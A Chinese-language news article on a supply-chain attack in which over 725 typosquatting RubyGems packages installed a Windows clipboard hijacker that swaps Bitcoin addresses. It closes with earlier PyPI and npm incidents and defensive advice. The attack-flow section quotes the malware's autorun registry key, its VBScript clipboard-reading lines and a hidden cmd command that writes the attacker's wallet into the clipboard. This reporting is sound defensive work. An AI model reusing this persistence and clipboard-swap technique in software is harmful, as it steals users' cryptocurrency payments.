RubyGems遭遇供應鏈投毒攻擊竊取比特幣,被上傳725個惡意軟件包
根據安全公司ReversingLabs有關報道,Ruby語言官方模塊包代碼庫RubyGems,被植入了超725個惡意軟件包的。
根據安全公司ReversingLabs的分析惡意軟件包的下載量接近100000次,盡管其中很大一部分可能是腳本自動抓取了存儲庫中158000個軟件包的結果。惡意軟件包來自兩個用戶帳戶:" PeterGibbons" 和 "JimCarrey"。
ReversingLabs懷疑這些帳戶可能是一個人的工作,他使用了多種形式的監聽行為,冒充正常軟件包。例如,"atlas-client"是一個誘騙的誘餌程序包,被2100次下載,用來模仿的"atlas_client"。從2月16日到25日,這兩賬號共上傳了700多個軟件包。
攻擊流程
根據ReversingLabs分析,這些惡意軟件安裝后將執行一個腳本,該腳本會攔截在Windows設備上進行的比特幣付款。
首先,它使用"%PROGRAMDATA%\Microsoft Essentials\Software Essentials.vbs"路徑中的主要惡意循環創建一個新的VBScript Sle。然后持久化到本機,然后創建一個新的自動運行注冊表項。
- "HCU\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Software Essentials"
實現重啟后的自動運行。
執行"Software Essentials.vbs"惡意腳本時,會啟動無限循環,在該循環中,它使用以下代碼行捕獲用戶的剪貼板數據:
- Set objHTML = CreateObject("htmlfile")
- text = objHTML.ParentWindow.ClipboardData.GetDat
然后,腳本將檢查剪貼板數據是否與加密貨幣錢包地址的格式匹配。如果是,則使用以下命令在隱藏窗口中將加密幣的地址替換為 "1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc":
- WScript.Shell run "C:\Windows\System32\cmd.exe /c echo 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc | clip", 0
這樣,威脅參與者就試圖將所有潛在的加密貨幣交易重定向到其錢包地址。整個過程如下順序:
歷史事件
無獨有偶,這次供應鏈投毒事件不是第一次,這樣事件最近幾年來屢見不鮮。對RubyGems也發生了多起。2016年,一名大學生將一個粗略腳本上傳到RubyGems,PyPi和NPM,根據對腳本中執行的回訪調用統計,該冒名腳本大概在17000個獨立IP上執行了大概45000次,其代碼成功獲取管理權限的有一半。其中還有兩個是以.mil結尾的域,表明美軍內部的主機也被感染。
此后,類似技術開始流行。2018年,黑客給PyPi中注入了剪貼板劫持腳本。該惡意程序包的名稱為"Colourama",名字模仿Colorama。Colorama為Python包倉庫中下載量Top 20之一。包括從鏡像站點的下載,惡意軟件包被下載了171次。
一個月后,有一次攻擊者利用NPM植入后門,成功偷到比特幣的事件。這次事件中,惡意后門被下載了200萬次下,從而使攻擊者獲得了最后的成功成就。
這些事件表明,針對軟件供應鏈的污染投毒間接攻擊已經成了一種常態,這類攻擊可能沒有直接攻擊那樣明顯,但是針對該類攻擊目前還沒有有效的防護措施,只能讓開發人員擦亮眼睛,對要下載的軟件包一定要慎重,可以通過必要的校驗方法來保證包合法,比如驗證文件包哈希,同時關注安全通報以便出現問題時能及時處理。企業可以通過DevSecOps來保證整個供應鏈的安全。